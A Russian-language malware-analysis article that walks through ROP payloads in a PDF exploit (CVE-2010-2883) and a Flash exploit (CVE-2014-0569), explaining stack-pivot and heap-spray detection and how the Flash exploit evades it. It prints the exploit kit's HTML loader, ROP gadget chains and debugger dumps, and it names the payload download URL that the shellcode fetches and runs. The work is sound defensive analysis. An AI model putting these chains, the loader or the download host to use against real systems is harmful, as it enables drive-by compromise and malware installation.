05.04.2015

Детальный анализ полезных нагрузок, созданных по технологии ROP

image

Цель настоящей статьи – рассказать о техниках, используемых для анализа полезных нагрузок, созданных по технологии ROP (Return oriented programming, Возвратно-ориентированное программирование).

Автор: Sudeep Singh

О чем статья

Цель настоящей статьи – рассказать о техниках, используемых для анализа полезных нагрузок, созданных по технологии ROP (Return oriented programming, Возвратно-ориентированное программирование). Подобные полезные нагрузки широко применяются при написании эксплоитов. Кроме того, мы детально рассмотрим техники для противодействия ROP, например, детектирование подмены стека (stack pivoting), используемые в современных средствах защиты.

В качестве примера будут взяты два эксплоита из «дикой природы» (CVE-2010-2883 и CVE-2014-0569) и проанализированы полезные нагрузки этих разработок на предмет сложности и возможности противодействия техникам, связанным с обнаружением подмены стека.

Детальный анализ полезных нагрузок, созданных по технологии ROP, поможет лучше понять методы работы эксплоитов и разрабатывать более надежные механизмы детектирования.

Статья будет полезна всем, кто занимается анализом эксплоитов и интересуется техниками возвратно-ориентированного программирования.

Введение

Все чаще находятся уязвимости в современных приложениях: браузерах, продукции от компании Adobe (например, Acrobat Reader и Flash Player), в Microsoft Silverlight и Java. Как результат, методики эксплуатация найденных брешей также становятся более популярными. Поскольку в большинстве атак использование эксплоита – первоначальное звено, всегда лучше предотвратить проникновение именно на этой стадии, чем потом разгребать последствия.

В интернете есть описано множество решений и техник, помогающих обнаружить и предотвратить эксплуатацию уязвимостей. Механизмы детектирования часто основаны на поиске общих атрибутов большинства эксплоитов. Например:

1. Технология ROP. В большинстве эксплоитов необходимо использовать алгоритмы для обхода DEP (Data Execution Prevention), поскольку в современных операционных системах компонент DEP включен по умолчанию. Возвратно-ориентированное программирование – наиболее распространенная техника для обхода DEP. Однако схема работы ROP имеет множество признаков, используемых при обнаружении. Один из индикаторов, который мы рассмотрим более детально, - подмена стека (stack pivot).

2. Технология Heap Spray (дословно «распыление кучи»). Для надежной работы в большинстве эксплоитов происходит «распыление» полезной нагрузки по адресному пространству процесса. Когда в приложении срабатывает уязвимость, выполнение в эксплоите переходит к полезной нагрузке, находящейся в куче процесса. Однако техника Heap Spray, как и ROP, имеет множество признаков, способствующих обнаружению.

Наиболее распространенный индикатор - паттерн, используемый в Heap Spray (например, довольно известная последовательность 0x0c0c0c0c). Существуют и другие паттерны, применяемые в технике Heap Spray.

Методы противодействия эксплоитам

Поскольку в этой статье основное внимание будет уделено анализу полезных нагрузок, использующих возвратно-ориентированное программирование, поговорим подробнее про обнаружение подмены стека (Stack Pivot).

У большинства атак примерно следующий сценарий:

1. Злоумышленник распыляет полезную нагрузку (Nopsled + ROP payload + shellcode) в куче.

2. Срабатывает уязвимость в приложении.

3. Используя уязвимость, злоумышленник управляет некоторым регистром.

4. В регистр заносится адрес, указывающий на инструкцию по подмене стека.

5. Переключатель подменяет стек программы на стек, созданный злоумышленником, находящийся в куче. В новом стеке находится полезная нагрузка.

6. Возвратная инструкция в переключателе стека запускает выполнение ROP-цепочки.

Пример:

В случае с уязвимостью Use After Free (UAF) используется следующий сценарий:

mov edx, dword ptr ds:[ecx]
; edx представляет собой таблицу виртуальных методов (vtable) уязвимого C++ объекта
push ecx
call dword ptr ds:[edx+0x10]
; вызов виртуальной функции из таблицы vtable, контролируемой злоумышленником

Поскольку мы управляем потоком выполнения программы, то можем перенаправить выполнение на переключатель стека:

xchg eax, esp
retn

При срабатывании уязвимости, если регистр eax указывает на данные в куче, контролируемые злоумышленником, первоначальный стек будет подменен в результате работы вышеуказанного переключателя.

Возвратно-ориентированное программирование – очень эффективная техника, используемая практически в каждом эксплоите. Как результат, были разработаны различные техники по обнаружению эксплоитов, использующих ROP.

Одна из таких техник связана с обнаружением подмены стека.

Когда запускается ROP-цепочка, цель злоумышленника – переместить шеллкод в область памяти с возможностью выполнения, чтобы обойти DEP. Чтобы решить эту задачу – злоумышленник использует различные API-функции, например, VirtualAlloc(). Существует весьма ограниченный набор подобных функций для обхода DEP.

При вызове API-функций в полезной нагрузке на основе ROP стек имеет особое выравнивание (alignment) , что является одним из индикаторов при обнаружении ROP.

Поскольку первоначальный стек приложения был подменен, указатель стека не ограничен лимитами стека.

Информация о лимитах стека хранится в TEB (Thread Environment Block, Блок окружения потока).

1:020> !teb
TEB at 7ffda000
ExceptionList: 0220f908
StackBase: 02210000
StackLimit: 02201000

Если указатель стека не удовлетворяет вышеуказанному условию, можно сделать вывод, что произошла подмена:

if(esp > StackLimit && esp < StackBase)

Чтобы лучше понять эту идею, рассмотрим PDF-эксплоит (CVE-2010-2883).

Анализ ROP-цепочек

В этой статье будет детально рассмотрен анализ ROP-цепочек (но не причины возникновения уязвимости).

Мы будем рассматривать два примера. В одном случае подмена стека в полезной нагрузке на основе ROP будет обнаружена, в другом – нет.

Мы можем проанализировать ROP двумя способами:

1. Динамический анализ: также подразделяется на два метода:

a. Последовательность ROP-инструкций известна: в некоторых случаях, мы можем обнаружить инструкции ROP при помощи статического анализа. Например, в случае с PDF-эксплоитом, мы можем обнаружить инструкции ROP при помощи деобфускации JavaScript, в котором реализовано heap spray.

b. Последовательность ROP-инструкций неизвестна: в некоторых случаях непросто обнаружить ROP-инструкции внутри эксплоита. Сложности могут возникнуть из-за сильной обфускации, либо ROP-инструкции могут формироваться во время запуска эксплоита.

Во втором случае (когда ROP-инструкции создаются налету) для отладки нам потребуется другая техника.

2. Статический анализ: эта техника применяется, когда ROP-инструкции найдены.

Для анализа полезной нагрузки нам нужно найти ассемблерный код, связанный с ROP-инструкциями. Поиск каждой ROP-инструкций можно делать вручную в соответствующем адресном пространстве модуля (хотя, это занятие иногда бывает утомительным). Чтобы облегчить задачу, я написал программу на C, которая автоматически извлекает из адресного пространства модуля опкоды, связанные с каждой ROP-инструкцией (см. Приложение I).

После деобфускации JavaScript-кода необходимо открыть выгруженный в файл шеллкод либо в IDA Pro и исследовать дизассемблированную версию, либо в hex-редакторе и просмотреть визуально. Так вы сможете понять, является ли найденный шеллкод обычным, либо разработанным на основе ROP.

В нашем примере, я анализировал вредоносный PDF-файл с MD5-хешем 975d4c98a7ff531c26ab255447127ebb. В файле, найденном в «дикой» природе, эксплуатируется уязвимость CVE-2010-2883.

После выгрузки и открытии шеллкода в hex-редакторе, видно, что это не обычный шеллкод. Я отметил некоторые ROP-инструкции:

Рисунок 1: Шеллкод с помеченными ROP-инструкциями

Чаще всего ROP-инструкции будут запускаться из одного модуля. В нашем случае, как видно из рисунка выше, все инструкции находятся в модуле с базовым адресом 0x07000000.

Открыв Adobe Reader в Windbg, обнаруживаем, что данный базовый адрес (0x07000000) у модуля BIB.dll.


Рисунок 2: Перечень модулей (нужный модуль отмечен красным)

Итак, теперь мы знаем, что все ROP-инструкции взяты из модуля BIB.dll.

При помощи своей разработки (см. Приложение I) я просканировал адресное пространство модуля, нашел опкоды соответствующие каждой ROP-инструкции и выгрузил весь перечень в отдельный файл.

Мой код разделяет ROP-инструкции и параметры к ROP-инструкциям. Теперь загрузим полученный файл обратно в IDA Pro и разметим секции кода и данных.


Рисунок 3: Выгруженная информация о ROP-инструкциях

Мы можем проанализировать шеллкод на основе ROP более эффективным путем.

В некоторых случаях, для лучшего понимания алгоритма шеллкода, нужно пройти пошагово все инструкции, используя отладчик и установив точку останова на первой ROP-инструкции.

В качестве примера я возьму тот же самый вредоносный PDF-файл, пригодный для использования в версиях Adobe Reader начиная от 9.0 и заканчивая 9.4.0.

В PDF-файле хранится несколько версий полезных нагрузок, используемых в зависимости от версии Adobe Reader. Мы будем рассматривать шеллкод, использующий ROP-инструкции из модуля icucnv36.dll.

Открываем Adobe Reader в WinDbg. Для запуска Adobe Reader в отладчике используйте команду g (при этом можно увидеть, что загружено несколько модулей).

Важно отметить, что модуль icucnv36.dll еще не загружен, и установить точку останова на первую ROP-инструкцию не получится (см. рисунок ниже):


Рисунок 4: Попытка установить точку останова внутри незагруженного модуля заканчивается неудачно

Ошибка возникает из-за того, что мы пытаемся установить точку останова по адресу внутри адресного пространства модуля, который еще не загружен.

Мы можем автоматически оказаться внутри отладчика, когда модуль будет загружен, используя следующую команду:

sxe ld icucnv36.dll

Теперь запускаем Adobe Reader, открываем вредоносный PDF-документ и в момент загрузки модуля icucnv36.dll оказываемся в отладчике.


Рисунок 5: Модуль icucnv36.dll успешно загружен

Теперь можно установить точку останова на первую ROP-инструкцию модуля:


Рисунок 6: Команда для установки точки останова

Теперь, когда дело дойдет до выполнения первой ROP-инструкции, мы окажемся внутри отладчика. Исследуя содержимое регистров в момент срабатывания точки останова, видим, что регистр ESP указывает на адрес 0x0c0c0c10:

Рисунок 7: Содержимое регистров

Злоумышленник смог успешно подменить стек при помощи соответствующей инструкции. Если мы посмотрим содержимое по адресу 0x0c0c0c0c, то увидим, что там находится шеллкод на основе ROP.


Рисунок 8: Содержимое шеллкода

Теперь мы можем в отладчике пошагово пройти сквозь весь шеллкод.

Давайте рассмотрим, как детектируется подмена стека. Если пройти по ROP-цепочке далее, можно заметить неявный вызов функции CreateFileA() при помощи ROP-инструкции по адресу 0x4a80b692 (см. рисунок ниже):


Рисунок 9: Момент, когда вызывается функция CreateFileA()

Если мы проверим значения StackBase и StackLimit в TEB, то увидим, что регистр esp находится вне границ этого диапазона. Если в программе-детекторе установлен хук на функцию CreateFileA(), эксплоит будет легко обнаружен в момент подмены стека.


Рисунок 10: Содержимое стека выходит за границы диапазона StackBase и StackLimit

Замаскированная подмена стека

В этом разделе мы будем рассматривать эксплоит на основе уязвимости CVE-2014-0569, использующий полезную нагрузку с ROP-инструкциями, позволяющими обходить защиту по обнаружению подмены стека. Подобный тип полезной нагрузки в «дикой» природе ранее не встречался. До этого момента существовало лишь доказательство этой концепции, но теперь появились эксплоиты с замаскированной подменой стека.

Я нашел полный лог сетевых пакетов, относящихся к этому эксплоиту, в статье http://malware-traffic-analysis.net/2014/10/30/index2.html

Как видно на рисунке ниже, Exploit Kit находится на сайте kethanlingtoro.eu.


Рисунок 11: Лог сетевых пакетов во время работы эксплоита

На рисунке ниже показан HTML-код, используемый для загрузки в браузере вредоносного SWF-файла и эксплуатации уязвимости в плагине Adobe Flash Player.

<html>
<body>

<objectclassid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000"
codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab"
width="10"height="10"/><paramname="movie"
value="Main.swf"/>

<paramname="allowFullScreen"value="false"/>
<paramname="allowScriptAccess"value="always"/>

<paramname="FlashVars"
value="exec=3558584f737a7a6c415835233d57263d31585548553941347
a6e42644c4c365a6b646a6b4c507a57557257236b394f354f"
/>

<paramname="Play"value="true"/>
<embedtype="application/x-shockwave-flash"
width="10"height="10"src="Main.swf"
allowScriptAccess="always" FlashVars=
"exec=3558584f737a7a6c415835233d57263d31585548553941347a6e42644
c4c365a6b646a6b4c507a57557257236b394f354f"
Play="true" allowFullScreen="false"/>

</object>
</body>
</html>

Обратите внимание, что параметры передаются в Flash Loader при помощи FlashVars (см. код выше). Такая схема необходима для работоспособности эксплоита (в противном случае вредоносный SWF-файл отработает некорректно).

Вредоносный SWF-файл сильно обфусцирован. Все известные декомпиляторы флеша со своей задачей не справились (см. рисунок ниже). То есть при помощи статического анализа найти ROP-инструкции крайне сложно.


Рисунок 12: Результат работы декомпилятора

Однако, глядя на декомпилированный код флеша, мы видим, что используется Sound Object и метод toString() объекта Sound Object внутри функции эксплоита. Использование Sound Object’ов в эксплоитах стало распространенным явлением. При помощи уязвимости будет перезаписана таблица вызовов (VTable) принадлежащая Sound Object, и злоумышленник получит контроль над приложением.

Переменные Sound Object:


Рисунок 13: Переменные объекта Sound Object

Вызов метода toString():



Рисунок 14: Вызов метода внутри объекта Sound Object

Давайте рассмотрим, как при помощи отладчика можно проанализировать полезную нагрузку с ROP-инструкциями.

Тестовая среда:

Операционная система: Win 7 SP1 32-bit

Flash Player: 15.0.0.167

Поскольку vtable объекта Sound Object будет по контролем злоумышленника, мы можем отладить полезную нагрузку, установив точку останова на вызов метода toString() объекта Sound Object.

Подсоедините WinDbg к Internet Explorer. Перед загрузкой вредоносной страницы в браузере, установим точку останова на загрузку модуля Flash32_15_0_0_167.ocx, находящегося в папке C:\Windows\system32\Macromed\Flash\, при помощи следующей команды:

sxe ld Flash32_15_0_0_167.ocx

Теперь загружаем веб-страницу и попадаем в отладчик.

Поскольку включен компонент ASLR, адрес вызова метода toString() будет постоянно меняться. Для начала находим адрес вызова:

1:021> u Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185
Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185:
5eef8945 ffd2 call edx
5eef8947 5e pop esi
5eef8948 c20400 ret 4

Устанавливаем точку останова по адресу 0x5eef8945.

Запускаем эксплоит и останавливаемся на вышеуказанном адресе:

1:021> g
Breakpoint 0 hit
eax=070ab000 ebx=0202edf0 ecx=06a92020 edx=5e8805bb esi=0697c020 edi=0697c020
eip=5eef8945 esp=0202ed38 ebp=0202ed60 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200202
Flash32_15_0_0_167!IAEModule_IAEKernel_UnloadModule+0x11c185:
5eef8945 ffd2 call edx {Flash32_15_0_0_167+0x205bb (5e8805bb)}

Если посмотреть на дизасемблированный код перед вызовом метода toString(), можно увидеть, что VTable объекта Sound Object полностью перезаписана эксплоитом (см. рисунок ниже).


Рисунок 15: В момент вызова toString() (выделено фиолетовым цветом) таблица вызовов VTable уже перезаписана

5eef8940 8b01 mov eax,dword ptr [ecx]
5eef8942 8b5070 mov edx,dword ptr [eax+70h]
5eef8945 ffd2 call edx {Flash32_15_0_0_167+0x205bb (5e8805bb)}
ecx = Sound Object
eax = таблица вызовов VTable объекта Sound Object
[eax+0x70] = адрес метода toString()

Также в VTable мы видим, что указатели виртуальных функций перезаписаны на 0x5e861193 (инструкция retn). Указатель виртуальной функции для метода toString() перезаписан на значение 5e8805bb.

1:021> dd eax
081ab000 5e861193 5e861193 5e861193 5e861193
081ab010 5e861193 5e861193 5e861193 5e861193
081ab020 5e861193 5e861193 5e861193 5e861193
081ab030 5e861193 5e861193 5e861193 5e861193
081ab040 5e861193 5e861193 5e861193 5e861193
081ab050 5e861193 5e861193 5e861193 5e861193
081ab060 5e861193 5e861193 5e861193 5e861192
081ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478

Посмотрим на инструкции по адресу 0x5e8805bb:

1:021> u 5e8805bb
Flash32_15_0_0_167+0x205bb:
5e8805bb 94 xchg eax,esp
5e8805bc c3 ret


Рисунок 16: Инструкция по адресу 0x5e8805bb (выделено фиолетовым цветом)

Инструкция по адресу 0x5e8805bb отвечает за подмену стека. Это означает, что злоумышленник контролирует содержимое регистра eax и данные, на которые указывает этот регистр. Рассмотрим содержимое регистра:

1:021> dd eax
070ab000 5e861193 5e861193 5e861193 5e861193
070ab010 5e861193 5e861193 5e861193 5e861193
070ab020 5e861193 5e861193 5e861193 5e861193
070ab030 5e861193 5e861193 5e861193 5e861193
070ab040 5e861193 5e861193 5e861193 5e861193
070ab050 5e861193 5e861193 5e861193 5e861193
070ab060 5e861193 5e861193 5e861193 5e861192
070ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478


Рисунок 17: Содержимое регистра eax перед подменой стека

В регистре eax находится полезная нагрузка и ROP-инструкции, взятые из модуля Flash32_15_0_0_167.ocx.

Важно отметить, что после подмены стека первоначальное значение регистра esp будет храниться в регистре eax.

В ROP-цепочке мы видим множество инструкций, указывающих на адрес 0x5e861193. Это инструкции возврата (см. ниже).

1:021> u 5e861193
Flash32_15_0_0_167+0x1193:
5e861193 c3 ret

После выполнения последовательности возвратных (ret) инструкций получаем следующее:

1:021> u eip
Flash32_15_0_0_167+0x1192:
5e861192 59 pop ecx
5e861193 c3 ret


Рисунок 18: Состояние кода после выполнения нескольких возвратных инструкций

Текущая инструкция устанавливает в регистр ecx значение 0x5e8805bb.

1:021> dd esp
070ab070 5e8805bb 5e8c1478 5e8c1478 5e8c1478
070ab080 5e8c1478 5e861192 5e8e2e45 5e89a4ca

Следующая ROP-инструкция повторяется 4 раза.

1:021> u eip
Flash32_15_0_0_167+0x61478:
5e8c1478 48 dec eax
5e8c1479 c3 ret


Рисунок 19: Инструкция по адресу 5e8c1478 (dec eax) повторяется несколько раз

Как было отмечено ранее, перед подменой стека первоначальное значение регистра esp сохранялось в регистре eax. Следовательно, регистр eax уменьшается 4 раза (для того, чтобы переместить содержимое размером DWORD в первоначальный стек).

1:021> u eip
Flash32_15_0_0_167+0x1192:
5e861192 59 pop ecx
5e861193 c3 ret

Смотрим содержимое стека:

1:021> dd esp
070ab088 5e8e2e45 5e89a4ca 41414141 5e8c1478
070ab098 5e8c1478 5e8c1478 5e8c1478 5e861192

ROP-инструкция, указанная выше, будет заносить в регистр ecx значение 0x5e8e2e45.

Затем,

1:021> u eip
Flash32_15_0_0_167+0x3a4ca:
5e89a4ca 8908 mov dword ptr [eax],ecx
5e89a4cc 5d pop ebp
5e89a4cd c3 ret

Эта инструкция сохранит значение регистра ecx в первоначальном стеке (esp - 4)


Рисунок 20: Инструкция, которая сохраняет содержимое ecx в первоначальном стеке

Далее значение 0x41414141 заносится в регистр ebp. Этот трюк используются для заполнения (padding) стека, поскольку наша ROP-инструкция выполняет pop ebp перед возвратом.

Вышеуказанный набор ROP-инструкций выполняет несколько раз.

Подведем промежуточные итоги:

Инструкция 1:

dec eax;
retn

Выполняется 4 раза для перемещения в первоначальный стек содержимого размером DWORD.

Инструкция 2:

pop ecx;
retn

Перемещает DWORD в регистр ecx.

Инструкция 3:

mov dword ptr [eax], ecx;
pop ebp;
retn

Перемещает DWORD из регистра ecx в первоначальный стек.

Использование вышеупомянутого алгоритма говорит о том, что полезная нагрузка собирает данные в первоначальном стеке посредством перемещения DWORD’ов из буфера, контролируемого злоумышленником.

Продолжая проходить пошагово полезную нагрузку с ROP-инструкциями, еще раз попадаем на инструкцию, подменяющую стек.

Первоначальный стек на данный момент сконструирован таким образом, что инструкция по подмене стека перенаправляет поток выполнения на функцию kernel32!VirtualAllocStub().


Рисунок 21: Новое содержимое первоначального стека

Параметры для функции VirtualAlloc() конструируются прямо в стеке (см. рисунок ниже):


Рисунок 22: Конструирование параметров для функции VirtualAlloc()

Полезная нагрузка выделяет 0x1000 байт памяти с защитой, PAGE_EXECUTE_READWRITE (0x40) и MEM_COMMIT (0x1000).

Посмотрим на значения StackBase и StackLimit в TEB.

Как показано на рисунке ниже, указатель стека находится внутри диапазона StackBase и StackLimit, в результате чего защита по обнаружению подмены стека не срабатывает.


Рисунок 23: Указатель стека находится внутри диапазона StackBase и StackLimit

Анализируем дальше.

На момент вызова функции VirtualAllocStub() стек выглядит следующим образом:

1:020> dd esp
0220ec50 5e861193 00000000 00001000 00001000
0220ec60 00000040 5e861192 c30c4889 5e89a4ca
0220ec70 41414141 5e861192 9090a5f3 5e8e2e45
0220ec80 5e861192 c3084889 5e89a4ca 41414141
0220ec90 5e861192 90909090 5e8e2e45 5e861192
0220eca0 c3044889 5e89a4ca 41414141 5e861192
0220ecb0 9090ee87 5e8e2e45 5e861192 10788d60
0220ecc0 5e89a4ca 070514b8 5e861192 00000143

Установим точку останова по адресу 5e861193 (возвратная инструкция).

Свежевыделенный участок памяти находится в регистре eax по адресу 0x1c10000.

Оставшаяся часть полезной нагрузки с ROP-инструкциями не менее интересна:

1:020> dd esp
0220ec64 5e861192 c30c4889 5e89a4ca 41414141
0220ec74 5e861192 9090a5f3 5e8e2e45 5e861192
0220ec84 c3084889 5e89a4ca 41414141 5e861192
0220ec94 90909090 5e8e2e45 5e861192 c3044889
0220eca4 5e89a4ca 41414141 5e861192 9090ee87
0220ecb4 5e8e2e45 5e861192 10788d60 5e89a4ca
0220ecc4 070514b8 5e861192 00000143 5e8e2e45
0220ecd4 5eef8947 068e2bf8 5eedecc1 06a50021

Обобщим все вышесказанное:

pop ecx/retn ;
в регистр ecx устанавливается адрес 0xc30c4889
mov dword ptr [eax], ecx/pop ebp/retn ;
перемещение ecx в свежевыделенный участок памяти (на который указывает eax)
pop ecx/retn ; в регистр ecx устанавливается адрес 0x9090a5f3
push eax/retn ; выполнение переходит к новому участку памяти

mov dword ptr [eax+0xc], ecx/ retn ;
перемещение ecx в свежевыделенный участок памяти (см. Рисунок 19)
pop ecx/retn ; в регистр ecx устанавливается адрес 0xc3084889
mov dword ptr [eax], ecx/pop ebp/retn ;
перемещение ecx в свежевыделенный участок памяти (на который указывает eax)
pop ecx/retn ; в регистр ecx устанавливается адрес 0x90909090
push eax/retn ; выполнение переходит к новому участку памяти
mov dword ptr [eax+0x8], ecx/retn ;
перемещение ecx в свежевыделенный участок памяти (на который указывает eax)
pop ecx/retn ; в регистр ecx устанавливается адрес 0xc3044889
mov dword ptr [eax], ecx/pop ebp/retn ;
перемещение ecx в свежевыделенный участок памяти (на который указывает eax)
pop ecx/retn ; в регистр ecx устанавливается адрес 0x9090ee87
push eax/retn ; выполнение переходит к новому участку памяти
mov dword ptr [eax+0x4], ecx/retn;
перемещение ecx в свежевыделенный участок памяти (на который указывает eax)
pop ecx/retn ; в регистр ecx устанавливается адрес 0x10788d60
mov dword ptr [eax], ecx/retn ;
pop ecx/retn ; в регистр ecx устанавливается 0x143
push eax/retn ; переходим к шеллкоду


Рисунок 24: Готовимся к копированию шеллкода

Эта часть полезной нагрузки будет использоваться для копирования 0x143 DWORD’ов основного шеллкода в выделенный участок памяти.


Рисунок 25: Процедура копирования шеллкода

Переходим ко второй части шеллкода.


Рисунок 26: Вторая часть шеллкода

Далее в коде происходит нахождение базового адреса kernelbase.dll (динамически), а затем вычисление адреса функции VirtualProtect().


Рисунок 27: Запуск функции VirtualProtect()

Далее происходит модификация защитных атрибутов 0x4b3 байт в участке памяти по адресу 0x01c10060.

Затем вызывается функция GetTempPathA() и конструируется путь C:\Users\n3on\AppData\Local\Temp\stuprt.exe


Рисунок 28: Подготовка к запуску файла

Далее загружается библиотека wininet.dll при помощи функции LoadLibraryA().


Рисунок 29: Подготовка к загрузке полезной нагрузки из интернета

Затем вызывается функция InternetOpenUrlA() для загрузки полезной нагрузки по адресу http://kethanlingtoro.eu/xs3884y132186/lofla1.php


Рисунок 30: Загрузка файла из интернета

URL, используемый для загрузки, совпадает с тем URL’ом, которые мы получили через перехват сетевых пакетов (см. рисунок ниже):


Рисунок 31: Перехваченный сетевой пакет

Полезная нагрузка будет сохранена в файле C:\Users\n3on\AppData\Local\Temp\stuprt.exe, после чего произойдет запуск.

Таким образом, мы смогли проанализировать полезную нагрузку с ROP-инструкциями и шеллкод при помощи отладчика.

Теперь рассмотрим другой способ анализа полезной нагрузки.

Мы знаем, что после остановки выполнения на методе toString() объекта Sound Object происходит перенаправления на инструкцию, отвечающую за подмену стека. В нашем случае, злоумышленник управляет содержимым регистра eax и информацией, на которую указывает eax.

Мы можем выгрузить полезную нагрузку и шеллкод из памяти в файл.

Как показано на рисунке ниже, при помощи команды writemem выгружается приблизительно 0x1500 байт шеллкода из памяти в файл (rop.txt).


Рисунок 32: Выгружаем шеллкод в файл

Далее пишем программу на Си для печати списка DWORD’ов, выгруженных в файл rop.txt.

Вместе с выгрузкой полезной нагрузки важно выгрузить и базовый адрес модуля Flash32_15_0_0_167.ocx (так как компонент ASLR включен, а для расчета относительных виртуальных адресов (RVA) ROP-инструкций необходим базовый адрес).

Используя написанный ранее код на Си, мы можем найти опкоды, соответствующие ROP-инструкциям из файла rop.txt.

Полная ROP-цепочка для замаскированной подмены стека представлена в Приложении II.

Схемы распыления информации по куче

Поскольку возвратно-ориентированное программирование используется совместно с техниками Heap Spraying, рассмотрим различия схем распыления информации по куче между двумя эксплоитами (CVE-2010-2883 и CVE-2014-0569). В первом случае в отладчике останавливаемся на первой ROP-инструкции и анализируем статистику кучи:

CVE-2010-2883 (Вредоносный PDF)
!heap –stat


Рисунок 33: Структура кучи процесса при использовании первого эксплоита

Из рисунка выше видно, что по адресу 00390000 задействовано наибольшее количество байт (см. секцию Commited bytes).

Анализируем память по адресу 00390000:

0:000> !heap -stat -h 00390000



Рисунок 34: Структура распределения байтов по адресу 00390000

Как видно из рисунка выше, у нас 0x1f0 блоков размером 0xfefec байт. Это очень плотное распределение, что говорит об использовании техники heap spray.

Подсчитаем все блоки размером 0xfefec байт.

0:000> !heap -flt s fefec
_HEAP @ 150000
_HEAP @ 250000
_HEAP @ 260000
_HEAP @ 360000
_HEAP @ 390000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
invalid allocation size, possible heap corruption
039c0018 1fdfd 0000 [0b] 039c0020 fefec - (busy VirtualAlloc)

Если мы выгрузим память по адресу 0x039c0020, увидим множество инструкций NOP:

0:000> dd 039c0020
039c0020 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0030 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0040 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0050 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0060 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0070 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0080 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c
039c0090 0c0c0c0c 0c0c0c0c 0c0c0c0c 0c0c0c0c

Вышеуказанный паттерн – хороший индикатор, используемый программами (например, EMET) для детектирования использования техники heap spray.

CVE-2014-0569 (Вредоносный SWF)

Если мы рассмотрим распределение в куче во втором случае, то не увидим столь ярко выраженного паттерна.

Проанализируем кучу во время срабатывания точки останова на инструкции по смене стека:

0:000> !heap -stat
_HEAP 00900000
Segments 00000001
Reserved bytes 00100000
Committed bytes 00100000
VirtAllocBlocks 00000000
VirtAlloc bytes 00000000
_HEAP 00150000
Segments 00000001
Reserved bytes 00100000
Committed bytes 00082000
VirtAllocBlocks 00000000
VirtAlloc bytes 00000000

Вышеуказанные участки памяти имеют максимальное количество задействованных байтов (см. секцию Committed bytes).

Смотрим статистику по адресу 0x00900000.

0:000> !heap -stat -h 00900000
heap @ 00900000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)

Статистика для блоков по адресу 00900000 отсутствует.

Посмотрим статистику по другому адресу.

0:000> !heap -stat -h 00150000
heap @ 00150000
group-by: TOTSIZE max-display: 20
size #blocks total ( %) (percent of total busy bytes)
8000 1 - 8000 (7.52)
20 31d - 63a0 (5.85)
57f0 1 - 57f0 (5.17)
4ffc 1 - 4ffc (4.70)
614 c - 48f0 (4.28)
3980 1 - 3980 (3.38)
388 10 - 3880 (3.32)
2a4 13 - 322c (2.95)
800 6 - 3000 (2.82)
580 8 - 2c00 (2.58)


Рисунок 35: Статистка по блокам в куче по адресу 00150000

По результатам выполнения второй команды, мы также не видим ярко выраженного паттерна, и защита по детектированию (например, EMET) в этом случае не сработает.

Поскольку эксплоит распыляет в адресном пространстве процесса объекты типа AS3 Flash Vector Object, проанализируем эти сущности:

03f4d000 000003fe 03162000 0beedead 0000027f ..... ..........
03f4f000 000003fe 03162000 0beedead 00000280 ..... ..........
03f51000 000003fe 03162000 0beedead 00000281 ..... ..........
03f53000 000003fe 03162000 0beedead 00000282 ..... ..........
03f55000 000003fe 03162000 0beedead 00000283 ..... ..........
03f57000 000003fe 03162000 0beedead 00000284 ..... ..........
03f59000 000003fe 03162000 0beedead 00000285 ..... ..........
03f5b000 000003fe 03162000 0beedead 00000286 ..... ..........
03f5d000 000003fe 03162000 0beedead 00000287 ..... ..........

Здесь 0x3fe – размер объекта Vector Object.

Большинство современных эксплоитов работают следующим образом:

1. Объекты типа Flash Vector Object распыляются при помощи кода, написанного на ActionScript, находящегося во вредоносном SWF-файле.

2. Срабатывает уязвимость (например, UAF), что позволяет модифицировать содержимое в адресном пространстве.

В примере с уязвимостью CVE-2014-0322, сбой UAF (Use After Free) происходит на следующей инструкции:

inc dword ptr ds:[eax+0x10]

Если адрес [eax+0x10] будет указывать на поле размера распыленного объекта Vector Object, мы можем увеличить размер.

3. Увеличив размер объекта Vector Object, мы можем добавить новый элемент в массив, состоящий из объектов Vector Object. Поскольку проверка границы выполняется в ActionScript, новый элемент, связанный с Vector Object, перезапишет в памяти размер следующего объекта типа Vector Object. Таким образом, эксплоит установит огромный размер и получит произвольный доступ на чтение адресного пространства процесса.

Также во всех подобных эксплоитах, управляющий поток имеет следующие распространенные атрибуты:

1. Размер объекта типа Vector Object - 0x3fe.

2. Из-за схемы хранения объектов типа Flash AS3 Vector Object в памяти, происходит размещение (выравниванием) блоками по 0x1000 байт.

3. Чтобы получить доступ контроль над приложением, происходит изменение таблицы VTable объекта Sound Object, а затем метода toString().

Подводя итог, следует отметить важность реализации методов для детектирования подобных алгоритмов распыления по куче.

Заключение

По мере появления новых техник для детектирования, также усложняются и эксплоиты.

Совершенно очевидно, что владельцы эксплоитов хорошо осведомлены о техниках по обнаружению и стараются обойти эти методы.

Надеюсь, после чтения данного документа вы теперь сможете самостоятельно проанализировать полезные нагрузки на основе ROP-инструкций.